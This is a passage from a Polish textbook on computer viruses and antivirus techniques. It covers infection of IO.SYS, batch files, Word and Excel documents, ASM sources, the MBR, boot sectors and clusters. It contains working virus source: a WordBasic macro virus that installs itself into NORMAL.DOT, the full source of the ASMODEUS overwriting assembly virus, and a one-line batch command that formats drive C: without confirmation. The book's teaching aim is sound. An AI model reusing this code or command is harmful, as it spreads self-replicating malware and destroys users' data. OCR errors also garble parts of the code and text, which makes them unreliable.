Jądro systemu zawarte jest najczęściej w pliku IO.SYS, choć zależy to od konkretnej realizacji systemu. Pomimo swego rozszerzenia plik IO.SYS nie jest typowym sterownikiem, jakie zwykle zawarte są w plikach SYS, lecz programem o strukturze bardziej przypominającej pliki COM lub EXE, tak więc próby infekowania go jako sterownika SYS spowodują jego zniszczenie i w efekcie zawieszenie systemu po starcie komputera. Wirusy infekujące plik IO.SYS najczęściej zapamiętują początek pliku w innym miejscu na dysku (najczęściej w jakiś sposób ukrytym), a na początek pliku IO.SYS nadpisują swój kod. Po starcie systemu
program zawarty w BOOT-sektorze, ładuje zainfekowany plik. Sterowanie przekazywane jest do wirusa, który po instalacji wczytuje oryginalną zawartość pliku i oddaje do niego sterowanie.
4.1.5. Pliki wsadowe BAT
Wirusy typu batch nie są programami komputerowymi, lecz skryptami, które modyfikują pliki o rozszerzeniu BAT. Na kod takiego wirusa mogą się składać:
> polecenia: CALL, CD, COPY, DEL, DIR, ECHO, FOR, GOTO, IF/
REM, RD, REN, SET, SHIFT, TYPE;
> parametry wejściowe: %0 nazwa programu, %1-%9 parametry
programu;
> operatory zmiany przyporządkowania strumieni wejściowych i
wyjściowych: <, >, », |;
> nazwy zarezerwowane przez system DOS: urządzenie NUL;
> programy tradycyjnie dostarczane z systemem DOS: debugger DEBUG, ATTRIB,
FIND, FORMAT; sterownik ANSI.SYS;
> pola etykiet, wykorzystywane np. do pominięcia linii, w której może być kod
maszynowy (opisane w jednym z poprzednich rozdziałów).
Na uwagę zasługują wspomniane wyżej operatory zmiany przyporządkowania strumieni wyjściowych. Ich działanie może bowiem zostać wykorzystane do dość brutalnej destrukcji. Normalnie użycie polecenia FORMAT C: czy DEL *.* wymaga potwierdzenia przez użytkownika, który może zgodzić się lub nie na dokonywaną operację Zmiana przyporządkowania strumieni umożliwia zasymulowanie naciśnięcia przez użytkownika jakiegoś klawisza (lub ich sekwencji), w tym wypadku potwierdzających daną operację. W efekcie polecenie zacznie się wykonywać bez żadnej kontroli ze strony użytkownika!
Poza tym, skierowanie wszystkich komunikatów do urządzenia NUL może spowodować, iż o wykonywanych operacjach użytkownik dowie się dopiero po ich zakończeniu.
Przykładem może być poniższe polecenie, po którego wykonaniu dysk twardy zostanie sformatowany
ECHO Y | FORMAT C: NUL
Powyższy przykład powinien przekonać każdego o celowości przeglądania nieznanych plików wsadowych przed ich pochopnym uruchomieniem, aby uchronić się przed niezbyt miłymi konsekwencjami.
4.1.6. Pliki DOC
Pliki DOC są tworzone przez popularny edytor tekstów MS Word. Wirusy przemieszczające się w tych plikach wykorzystują język Word Basie, wbudowany w ten program. Przy jego pomocy użytkownik może tworzyć własne lub też przedefiniowywać już istniejące makra-Wirusy atakujące dokumenty Worda wykorzystują fakt, iż program ten ma kilka zdefiniowanych makr o specjalnym, wyjaśnionym w tabeli poniżej, znaczeniu, których przejęcie umożliwia zainfekowanie każdego otwieranego lub zamykanego dokumentu.
Przy wczytywaniu zainfekowanego dokumentu uruchamiane jest na przykład makro AutoOpen, które kopiuje wszystkie zdefiniowane w wirusie makra do pliku NORMAL.DOT (globalny szablon zawierający definicje wszystkich podstawowych stylów, makr itd., używanych w edytorze). Od tej chwili każdy otwierany, zachowywany (zależy to od przejętego makra) plik DOC będzie zarażany. Infekcja polega na przerobieniu pliku DOC na DOT (czyli na plik zawierający szablon) i dopisaniu do niego makr wirusa. Operacja ta musi być wykonywana, ponieważ zwykły plik DOC nie może zawierać w sobie definicji makr.
Makra MS Word o ustalonym znaczeniu
Nazwa makra |
Opis makra |
AutoExec |
uruchamiane podczas rozpoczynania rozpoczynania pracy z Wordem z szablonu globalnego zawartego w pliku NORMAL.DAT |
AutoNew |
uruchamiane podczas tworzenia nowego dokumentu |
AutoOpen |
uruchamiane podczas otwierania dokumentu |
AutoClose |
uruchamiane podczas zamykania dokumentu |
AutoExit |
uruchamiane podczas kończenia pracy z Wordem |
Przykładem prostego wirusa dla dokumentów Worda może być poniższy program, który składa się z dwóch makr: FileSave i AutoOpen. Pierwsze z nich służy do infekcji plików DOC podczas ich zachowywania, natomiast drugie dopisuje do szablonu NORMAL.DOT dwa powyższe makra bezpośrednio po otwarciu zainfekowanego dokumentu (w rezultacie instaluje go rezydentnie w Wordzie). Aby wirus zbudowany z powyższych makr zadziałał, należy je umieścić w dowolnym (najlepiej nowym) dokumencie. Operację tę najprościej przeprowadzić przy pomocy opcji NARZĘDZIA/MAKRO/UTWÓRZ, Poniższe makra zawierają fragmenty kodu, umożliwiające kontrolowane uruchamianie wirusa (wirus prosi użytkownika o potwierdzenie wszystkich wykonywanych przez siebie operacji).
Zawartość makra: AutoOpen
Sub MAIN
On Error Goto AutoOpen_Error
Tyt$ = 'Nowoczesne techniki wirusowe i antywirusowe,
Autor Adam B│aszczyk'
Uwg$ = 'Uwaga MakroWirus, Chcesz go zainstalowaµ ?' TiN = 256 +48+4 Prz = MsgBox(Uwg$, Tyt$, TiN) If (Prz = - l) Then MacroCopy WindowName$() + ':AutoOpen',
'Globalne:AutoOpen' MacroCopy WindowName$() + ':FileSave',
'Globalne:FileSave'
MsgBox 'Wirus dopisa│ siΩ do NORMAL.DOT, Sam tego chcia│e£ !!!', Tyt$, 64
End If AutoOpen_Error:
End Sub
Zawartość makra: FileSave
Sub MA1N FileSave On Error Goto FileSave_Error
Tyt$ = 'Nowoczesne techniki wirusowe i antywirusowe,
Autor Adan B│aszczyk' Uwg$ = 'Czy chcesz zainfekowaµ '' + WindowName$() + ''
makrowirusem ?'
TiN = 256 +48+4
Prz = MsgBox(Uwg$, Tyt$, TiN)
If (Prz = - 1) Then
MacroCopy 'Globalne:AutoOpen', WindowName$() +
':AutoOpen' MacroCopy 'Globalne: FileSave' , WindowName$ () +
':FileSave' FileSaveAs .Format - l
Tek$ = 'Wirus dopisa│ siΩ do '' + WindowName$() + ''' MsgBox Tek$, Tyt$, 64 FileSave
End lf
rem fileSave
FileSave_Error:
End Sub
Powyższy wirus zadziała tylko w polskojęzycznej wersji MS Word (w wersjach dla innych języków zmieniają się nazwy procedur oraz szablonów).
Ze względu na oferowaną przez Worda możliwość szyfrowania makr powyższego wirusa można w pewnym sensie uczynić niewidzialnym (pewna forma techniki stealth). Należy w tym celu dodać do polecenia MacroCopy łańcuch 1, który oznacza, iż podczas kopiowania makra będą zaszyfrowane. Użytkownik nie będzie mógł obejrzeć w edytorze zawartości takich makr.
4.1.7. Pliki XLS
Podobnie jak pliki DOC również arkusze Excela mogą zawierać w sobie definicje makr, które może zdefinować lub przedefiniować wirus. Różnica w stosunku do programu MS Word polega na tym, że rolę pliku NORMAL.DOT z Worda pełni tu plik PERSONAL.XLS, inne jest też nazewnictwo makr. Sam sposób działania jest w zasadzie identyczny. Poniższa tabela zawiera krótki opis makr automatycznych, dostępnych w Excelu.
Makra MS Excela o ustalonym znaczeniu
Nazwa makra |
Opis makra |
auto_open |
uruchamiane podczas rozpoczynania pracy z Excelem |
auto_close |
uruchamiane podczas zamykania arkusza |
4.1.8. Pliki ASM
Zwykle większość wirusów zaraża pliki opisane na poprzednich stronach tego rozdziału. Oprócz nich istnieje mała grupka wirusów, które infekują pliki raczej nietypowe. Przykładem mogą być tu pliki ASM. Infekcja plików ASM polega na dodaniu wirusa do zarażanego pliku ASM, bądź też na nadpisaniu oryginalnego programu ofiary kodem wirusa w postaci źródłowej. Czytając ten tekst można się dziwić, w jaki sposób program może znać, a tym bardziej transportować, swój własny kod źródłowy, który ma później dołączać do ofiary. W rzeczywistości nie jest to takie trudne do zrealizowania. Uruchamialny, wykonujący się kod, który powstaje z pliku ASM, ma postać binarną, a więc wirus zarażający plik ASM też jest w takiej postaci. Ze względu na to, iż wirus ma dodać do pliku swój własny kod, najprościej przetworzyć go na przykład na postać szesnastkową (jako ciąg DB ??h/??h//??h), i w takiej postaci dodać kod wirusa do zarażanego programu.
Poniżej przedstawiono przykład prostego wirusa plików ASM, nad-pisującego (i w efekcie niszczącego pliki).
;
Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;
;
ASMODEUS v1.0, Autor : Adam Blaszczyk 1997 ;
;
Prosty wirus nierezydentny, nadpisujacy, atakujacy pliki ASM ;
Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
;
; Kompilacja : ;
TASM ASMODEUS.ASM ;
TLINK /t ASMODEUS.OBJ ;
;
.286p
ASMODEUS SEGMENT
JUMPS
ASSUME CS:ASMODEUS, DS:ASMODEUS
ORG 100h
NUL = 00h ;
LF = 0Ah ; stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /
AtrReadOnly = 00000001b ;
AtrHidden = 00000010b ;
AtrSystem = 00000100b ; rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
ASMNaglowek_Rozmiar = offset (ASMNaglowek_Koniec-ASMNaglowek_Start)
; dlugosc dyrekty z poczatku
; pliku ASM (ASSUME, ORG, itd.)
ASMKoncowka_Rozmiar = offset (ASMKoncowka_Koniec-ASMKoncowka_Start)
; dlugosc dyrekty z konca
; pliku ASM (ENDS, END)
VRok = 1998 ; data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 (?) ; nazwa znalezionej pozycji
DTAStruc ends
NoweDTA equ 80h
VirusStart: ; tu zaczyna sie kod wirusa
lea dx,TeInformacja ; podaj, gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; CF=1 oznacza nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
lea dx,MaskaASM ; maska poszukiwanych plikow '*.ASM'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji
mov ah,4Eh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc BezInfekcji ; gdy CF=1, to blad
KolejnyPlik:
cmp ds:[NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepnego
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3d02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,ASMNaglowek_Rozmiar ; ile zapisac
lea dx,ASMNaglowek_Start ; skad pobrac dane
mov ah,40h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
cld ; operacje na lancuchach do przodu
push bx ; zachowaj uchwyt pliku
lea di,Bufor ; gdzie zapisywac wynik
lea bx,Hex ; gdzie znajduje sie tablica
; translacji na znaki heksalne
lea si,VirusStart ; gdzie zaczyna sie kod
mov cx,VirusDlug ; ilosc bajtow do konwersji
RobHex:
mov ax,'BD' ;
stosw ; zapisz sekwencje
mov ax,'0 ' ; / 'db 0'
stosw ; /
lodsb ; pobierz bajt kodu
mov ah,al ; zapamietaj na pozniej
shr al,4 ; pobierz 4 gorne bity bajtu kodu
xlatb ; wez odpowiadajcy mu znak
stosb ; heksalny i zapisz go
mov al,ah ; wez zapamietany bajt kodu
and al,15 ; pobierz 4 dolne bity bajtu kodu
xlatb ; wez odpowiadajcy mu znak
stosb ; heksalny i zapisz go
; teraz bufor= 'db 0??'
mov al,'h' ; zapisz 'h' w buforze
stosb
; teraz bufor='db 0??h'
mov ax,0A0Dh ; zapisz znaki CR,LF
stosw
; teraz bufor='db 0??h',CR,LF
loop RobHex ; przetwarzaj caly kod programu
pop bx ; przwyroc uchwyt pliku
sub di,offset Bufor ; oblicz, ile bajtow zajmuje bufor
mov cx,di ; ile bajtow zapisac
lea dx,Bufor ; podaj, skad zapisac wirusa
; jako ciag DB ?,?, ?,?,?
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,ASMKoncowka_Rozmiar ; ile zapisac
lea dx,ASMKoncowka_Start ; skad pobrac dane
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,ds:[NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; plik ASM
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
PrzywrocAtrybut:
mov cl,ds:[NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h
BezInfekcji:
ret ; koncz program, skocz do PSP:100h
; do rozkazu Int 20h
MaskaASM db '*.ASM' ; maska plikow ASM (ASCIIZ)
ASMNaglowek_Start:
db 'V SEGMENT',CR,LF
db 'ORG 100h',CR,LF
db 'Start:',CR,LF
ASMNaglowek_Koniec:
ASMKoncowka_Start:
db 'V ENDS',CR,LF
db 'END Start',CR,LF
ASMKoncowka_Koniec:
Hex db '0123456789ABCDEF'
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS
mov ah,01h ; funkcja DOS - czytaj znak
; ze standardowego wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile znak
mov ax,0E0Dh ; przejdz
int 10h ; do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii
pop ax ; przywroc znak
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
ret ; powrot
TeInformacja db CR,LF,'ASMODEUS v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR
VirusEnd:
Bufor db 32768 dup (?)
ASMODEUS ENDS
END VirusStart
4.2. Sektory systemowe
Po uruchomieniu komputera oraz po pozytywnym przejściu sprzętowej inicjalizacji wszystkich układów, procesor przystępuje do uruchamiania systemu, oddając najpierw sterowanie do BIOS-a, który po przeprowadzeniu różnych testów przekazuje kontrolę dalej, tzn. do systemu operacyjnego. Aby to zrobić, musi wczytać go z pliku zawierającego jądro systemu. Ze względu na to, iż narzucona przez systemy operacyjne struktura plików (różna dla różnych systemów) jest dostępna dopiero po załadowaniu odpowiedzialnego za dostęp do niej jądra systemu (także różnego dla różnych systemów), powstaje błędne koło: aby załadować plik z jądrem systemu, ono samo musi już być załadowane. Jasne jest, iż musi istnieć jakaś uniwersalna metoda na załadowanie dowolnego systemu (a więc i jądra systemu). Problem ten rozwiązano poprzez nadanie specjalnego znaczenia pierwszym sektorom dysków fizycznych i logicznych. Sektory te zawierają krótkie programy, odpowiedzialne za załadowanie właściwej części jądra systemu. W przypadku dysku fizycznego mamy do czynienia z tzw. Głównym Rekordem Ładującym, a w przypadku logicznych - z tzw. BOOT-sektorem. Dokładniejszy ich opis znajduje się dalej.
4.2.1. Główny Rekord Ładujący (ang. Master Boot Record-MBR
Każdy dysk twardy zawiera w swym pierwszym fizycznym (tzn. z punktu widzenia dostępu przez BIOS) sektorze tzw. Główny Rekord Ładujący (często nazywany sektorem tablicy partycji), zawierający informacje o podziale jego fizycznej struktury na logiczne party-cje (strefy). Oprócz powyższych informacji rekord ten zawiera także krótki programik, mający na celu odnalezienie w tablicy partycji aktywnej strefy i załadowanie z niej systemu operacyjnego. Format głównego rekordu ładującego, opis zawartości tablicy partycji oraz rodzaje stref zawarte są w poniższych tablicach.
Format głównego rekordu ładującego (MBR)
Adres |
Zawartość |
Program wczytujący system z aktywnej partycji dysku twardego |
|
1BE |
Opis strefy nr 1 |
1CE |
Opis strefy nr 2 |
1DE |
Opis strefy nr 3 |
1EE |
Opis strefy nr 4 |
1FE |
Bajty 055h i 0AAh |
Opis jednej strefy w tablicy partycji
Adres |
Zawartość |
Znacznik aktywności strefy: 00h - strefa nie zawiera systemu operacyjnego 80h - strefa zawiera system operacyjny |
|
Numer głowicy, pod którą zaczyna się strefa |
|
Numer cylindra i sektora, pod którymi zaczyna się strefa, zapisane następująco (litery odpowiadają kolejnym bitom): bajt spod adresu 02h: CCssssss bajt spod adresu 03h: cccccccc ssssss = numer sektora (0-63) CCcccccccc = numer cylindra (0-1023) |
|
Rodzaj strefy (wg następnej tablicy) |
|
Numer głowicy, pod którą kończy się strefa |
|
Numer cylindra i sektora, pod którymi kończy się strefa, zapisane tak samo jak w polu 02h-03h |
|
08-0B |
Względny numer sektora rozpoczynającego strefę |
0C-0F |
Długość strefy w sektorach |
Rodzaje stref wg bajtu z pola 04h w opisie strefy
Bajt Rodzaj strefy |
00h pusta |
01h DOS 12-bit FAT |
02h XENIX |
03h XENIX /usr |
04h DOSl6-bitFAT(do32M) |
05h DOS 3.3+ rozszerzona partycja |
06h DOS 3.31 + Large File System (16-bit FAT) |
07h QNX |
07h OS/2 HPFS |
07h Windows NT NTFS |
07h Advanced Unix |
08h OS/2 (tylko v1.0-1.3) |
08h AIX |
08h Commodore DOS |
08h DELL |
09h AIX |
09h Coherent |
0Ah OS/2 Boot Manager |
0Ah OPUS |
0Ah Coherent |
0Bh Windows 95 - 32-bit FAT |
0Ch Windows 95 - 32-bit FAT (LBA) |
0Eh zarezerwowane przez Microsoft dla VFAT |
0Fh zarezerwowane przez Microsoft dla VFAT |
10h OPUS |
11h OS/2 Boot Manager 12-bit FAT |
12h partycja Compaq Diagnostics |
14h tworzy ją Noyell DOS 7.0 FDISK |
14h OS/2 Boot Manager |
16h OS/2 Boot Manager |
17h OS/2 Boot Manager HPFS |
18h AST Windows plik wymiany |
21h zarezerwowana |
23h zarezerwowana |
24h NEC MS-DOS 3.x |
26h zarezerwowana |
31h zarezerwowana |
33h zarezerwowana |
34h zarezerwowana |
36h zarezerwowana |
3Ch PowerQuest |
40h VENIX 80286 |
41h Persona! RISC Boot |
42h SFS (Secure File System) |
50h OnTrack Disk Manager |
51h OnTrack Disk Manager |
51h NOYELL |
52h CP/M |
52h Microport System V/386 |
53h OnTrack Disk Manager |
54h OnTrack Disk Manager (DDO) |
56h GoldenBow VFeature |
61h SpeedStor |
63h Unix SysV/386 |
63h Mach |
64h Novell NelWare 286 |
65h NovetlNetWare(3.11) |
67h Novell |
68h Novell |
69h Novell _ |
70h DiskSecure Multi-Boot |
71h zarezerwowana |
73h zarezerwowana |
74h zarezerwowana |
75h PC/lX |
76h zarezerwowana |
80h Minixv1,1 - 1.4a |
81h Minixv1.4b+ |
81h Linux |
81h Mitac Advanced Disk Manager |
82h Linux Swap |
82h Prime |
83h Linux native file system |
84h OS/2 |
86h zarezerwowana |
87h HPFS Fault-Tolerant |
93h Amoeba file system |
94h Amoeba bad błock table |
A1h zarezerwowana |
A3h zarezerwowana |
A4h zarezerwowana |
A5h FreeBSD |
A6h zarezerwowana |
B1h zarezerwowana |
B3h zarezerwowana |
B4h zarezerwowana |
B6h zarezerwowana |
B7h BSDI file system |
B8h BSDI plik wymiany |
C1h DR DOS 6.0 LOGIN.EXE 12-bit FAT |
C4h DR DOS 6.0 LOGIN.EXE 16-bit FAT |
C6h DR DOS 6.0 LOGlN.EXE Huge |
C7h Syrinx Boot |
D8h CP/M-86 |
DBh CP/M |
DBh CTOS (ConvergentTechnologies OS) |
E1h SpeedStor 12-bit FAT rozszerzona partycja |
E3h DOS tylko do czytania |
E3h Storage Dimensions |
E4h SpeedStor 16-bit FAT rozszerzona partycja |
E5h zarezerwowana |
E6h zarezerwowana |
F1h Storage Dimensions |
F2h DOS 3.3+ |
F3h zarezerwowana |
F4h SpeedStor |
F4h Storage Dimensions |
F6h zarezerwowana |
FEh LANstep |
FEh IBM PS/2 IML |
FFh Xenix |
Po wykonaniu wszystkich autotestów BIOS wczytuje MBR zawsze pod ten sam, stały adres 0000:7C00 i wykonuje do tego miejsca daleki skok, przekazując tym samym sterowanie do programu ładującego, który odszukuje strefę aktywną w tablicy partycji. Znalezienie strefy aktywnej polega na przeszukaniu tablicy partycji i sprawdzeniu, czy w polu 00h opisu badanej strefy znajduje się wartość 80h, co jest znakiem, iż jest to strefa aktywna i można z niej załadować system operacyjny.
Działanie wirusów zarażających MBR polega na podmianie oryginalnego programu w niej zawartego na kod wirusa. Oryginalna tablica partycji może być przechowywana w innym sektorze na dysku. Najprościej Jest wczytać oryginalny sektor przy pomocy funkcji (02/13), dokonać zmian w jego strukturze i zapisać zmodyfikowany sektor z powrotem na dysk przy użyciu funkcji (03/13).
Po zarażeniu MBR wirus jest nieaktywny do czasu zresetowania komputera. Po restarcie zainfekowana partycja jest wczytywana przez BIOS pod adres 0000:7C00 i sterowanie jest oddawane do wirusa, który zmniejsza pamięć dostępną dla DOS-a (poprzez modyfikację zmiennej BIOS, zawartej pod adresem 0000:413), a następnie kopiuje się na koniec pamięci, która jest już niedostępna dla DOS-a. Stamtąd przejmuje obsługę przerwań i po wczytaniu oryginalnego sektora tablicy partycji (także pod adres 0000:7COO) oddaje do niej sterowanie, a tam oryginalny program ładujący kontynuuje normalne wczytywanie systemu.
4.3. Rekord ładujący (ang. BOOT-sector
Program ładujący, zawarty w MBR, wczytuje system ze strefy aktywnej, dokładniej: wczytuje pierwszy sektor (tzw. BOOT-sektor) ze strefy aktywnej pod adres 0000:7COO (a więc pod ten sam co w przypadku MBR), oddaje do niego sterowanie i dopiero program zawarty w BOOT-sektorze ładuje plik zawierający jądro systemu (w przypadku systemu DOS - najczęściej IO.SYS).
Powyższa operacja jest wykonywana tylko dla dysku twardego. W przypadku dyskietek BIOS bezpośrednio ładuje BOOT-sektor z dyskietki i oddaje do niego sterowanie. Jak widać, BIOS nie rozróżnia, czy wczytywany sektor jest MBR czy BOOT-sektorem, a jedynie odczytuje pierwszy sektor z dysku lub dyskietki i oddaje do niego sterowanie.
Przy pierwszym dostępie do dysku system kopiuje do swych struktur wewnętrznych część informacji zawartych w BOOT-sektorze. Informacje te są zawarte w tzw. bloku BPB, zawartym w BOOT-sektorze od adresu 0Bh do 23h.
Zawartość BOOT-sektora przedstawiono w poniższej tabeli.
Zawartość BOOT-sektora
Adres |
Zawartość |
Instrukcja skoku do programu ładującego system, najczęściej (OEBh ?? 90h). czyli JMP SHORT |
|
03-0A |
Nazwa wersji systemu (jako łańcuch ASCII) |
Początek bloku BPB |
+ |
0B-0C |
Wielkość sektora w bajtach |
0E-0F |
Liczba sektorów zarezerwowanych na początku dysku |
Liczba kopii FAT |
|
Maksymalna liczba plików w katalogu głównym |
|
Całkowita liczba sektorów na dysku logicznym (nie używane) |
|
Bajt identyfikacji nośnika |
|
Liczba sektorów zajętych przez FAT |
|
Liczba sektorów na ścieżce |
|
1A-1B |
Liczba głowic dysku |
1C-1D | |
Koniec bloku BPB | |
Numer fizyczny dysku |
|
Zarezerwowane |
|
Rozszerzony znacznik BOOT-sektora |
|
27-2A |
Numer woluminu |
2B-35 |
Etykieta dysku |
36-3D |
Typ FAT zapisany jako łańcuch ASCII |
??-1FF |
Program wczytujący system |
Nietrudno domyślić się, iż infekcja BOOT-sektora polegać będzie na zamianie oryginalnego programu w nim zawartego na kod wirusa, tak jak miało to miejsce w przypadku sektora tablicy partycji. Zamiast przerwania 13h przy infekcji BOOT-sektora łatwiej użyć przerwań 25h i 26h, gdyż biorą one na siebie ciężar wszystkich obliczeń związanych z translacją sektorów logicznych na fizyczne.
4.4. Jednostki Alokacji Plików (JAP) (ang. clusters)
Pierwszym wirusem, który zarażał JAP, był wirus DIR-2. Ze względu na pewne ograniczenia zarażał tylko w wersjach DOS mniejszych od 5.0. Aby zrozumieć zasadę jego działania, trzeba przede wszystkim wiedzieć, w jaki sposób system DOS zapisuje pliki na dysku. Każdy dysk logiczny widoczny w systemie posiada tzw. tablicę FAT (ang. File Alocation Tobie), która dzieli dysk na równe części, zwane Jednostkami Alokacji Plików JAP). Wielkość JAP jest różna dla różnych pojemności dysków. Informacja o ilości sektorów zajmowanych przez jedną JAP zawarta jest w BOOT-sektorze, w polu 0Dh. Każdy plik zapisywany na dysku ma do dyspozycji odpowiednią, wynikającą z jego długości, liczbę jednostek alokacji. Liczba ta równa jest długości pliku podzielonej przez rozmiar jednej JAP. Obliczoną liczbę należy zaokrąglić w górę (aby uwzględnić końcówkę pliku, która nie mieści się w pełnej JAP). Jak widać, pliki zapisane na dysku wcale nie muszą być zapisane sekwencyjnie, tzn. różne fragmenty pliku mogą być porozrzucane po całym dysku. Także widziana przez użytkownika długość pliku tylko czasami zgadza się z prawdziwą długością zajmowaną przez plik na dysku (gdy długość pliku jest wielokrotnością długości JAP). Wczytując plik DOS odczytuje z odpowiedniego pola katalogu numer pierwszej JAP i na jej podstawie, w miarę kolejnych odczytów/zapisów do pliku, porusza się po łańcuchu JAP, korzystając z danych zawartych w tablicy FAT.
Wirus infekujący przy użyciu JAP zmienia w polu katalogu rozmiar danego pliku (najczęściej na rozmiar jednej JAP) oraz wartość pierwszej JAP pliku, która wskazując na wirusa umożliwia jego wczytanie niejako przed kod programu ładowanego z dysku i w efekcie przejęcie kontroli nad systemem. Zainstalowany w pamięci wirus ma następnie możliwość wczytania dalszej części programu na podsta
wie przechowywanej oryginalnej wartości pierwszej JAP oraz długości pliku. W celu zapewnienia poprawnego wczytania reszty pliku wirus musi dotrzeć do wewnętrznych procedur systemu operacyjnego, przeznaczonych do obsługi dysków. Najczęściej realizuje się to poprzez odpowiednią zamianę adresu procedury obsługującej dysk, zawartej w tzw. blokach DPB (ang. Drive Parameter Block), strukturach tworzonych przez system operacyjny podczas jego inicjacji dla wszystkich istniejących w systemie dysków logicznych. Struktura DPB zawiera wszystkie informacje potrzebne do obsługi dysku logicznego przez system (część danych znajduje się w bloku BPB dysku, zawartego w BOOT-sektorze).
Pełny opis bloku DPB zawarto w poniższej tabeli.
Format bloku DPB
Adres |
Zawartość |
Numer dysku A:=0, B:=1, C:=2 |
|
Numer jednostki w programie obsługi |
|
Wielkość sektora w bajtach |
|
log2 (liczba sektorów w JAP) |
|
Liczba zarezerwowanych sektorów na początku dysku |
|
Ilość kopii tablicy FAT (najczęściej 2) |
|
09-0A |
Maksymalna ilość plików w katalogu głównym |
0B-0C |
Pierwszy sektor danych |
0F-10 |
Liczba sektorów na FAT |
Numer pierwszego sektora katalogu |
|
Daleki wskaźnik do programu obsługi dysku |
|
Bajt identyfikacji nośnika |
|
Znacznik dostępu do dysku |
|
19-1C |
Daleki wskaźnik do następnego bloku DPB |
1D-1E |
Numer pierwszej wolnej JAP na dysku |
1F-20 |
Liczba wolnych JAP na dysku |
Adres pierwszego bloku DPB uzyskiwany jest najczęściej przy użyciu funkcji (52/21). Na podstawie danych w pierwszym DPB można przejść (poruszając się po liście) do kolejnych bloków DPB. Realizuje to poniższa sekwencja:
Przeszukiwanie łańcucha DPB
mov AH,52h ; funkcja DOS - pobierz adres do listy list (LL)
INT 21h ; wywo│aj DOS po wywo│aniu ES:BX zawiera adres do LL, w
; kom≤rkach od ES:[BX] do ES:[BX+3] znajduje
; siΩ daleki wskanik do pierwszego DPB
LES BX,ES:[BX] ; ES:BX wskazuje na pierwszy DPB
NastΩpnyDPB: ; pocz╣tek pΩtli
LDS SI, ES:[BX+13h] ; DS:SI wskazuje teraz na program obs│ugi LES BX,ES:[BX+19h] ; ES:BX wskazuje teraz na nastΩpny bloku DPB, je┐eli jest
; to ostatni blok, to ES i BX zawieraj╣ OFFFFh,
MOV AX,ES ; we segment
CMP AX,0FFFFh ; czy ES=OFFFFh ?
JNZ NastΩpnyDPB ; je£li nie, to jest jeszcze kolejny DPB
CMP BX,AX ; czy BX=OFFFFh?
JNZ NastΩpnyDPB ; je£li nie, to jest jeszcze kolejny DPB
4.5. Wirusy kombinowane (ang: multipartition)
Tego typu wirusy są wirusami zawierającymi mechanizmy infekcji różnych obiektów.
W przypadku, gdy wirus zaraża pliki uruchamialne (EXE, COM), a także sektor tablicy partycji oraz ewentualnie BOOT-sektory i inne pliki, nazywa się go wirusem typu multipartition. Ze względu na szeroką gamę zarażanych przez siebie ofiar, wirusy tego typu bardzo szybko rozprzestrzeniają się w systemie komputerowym.
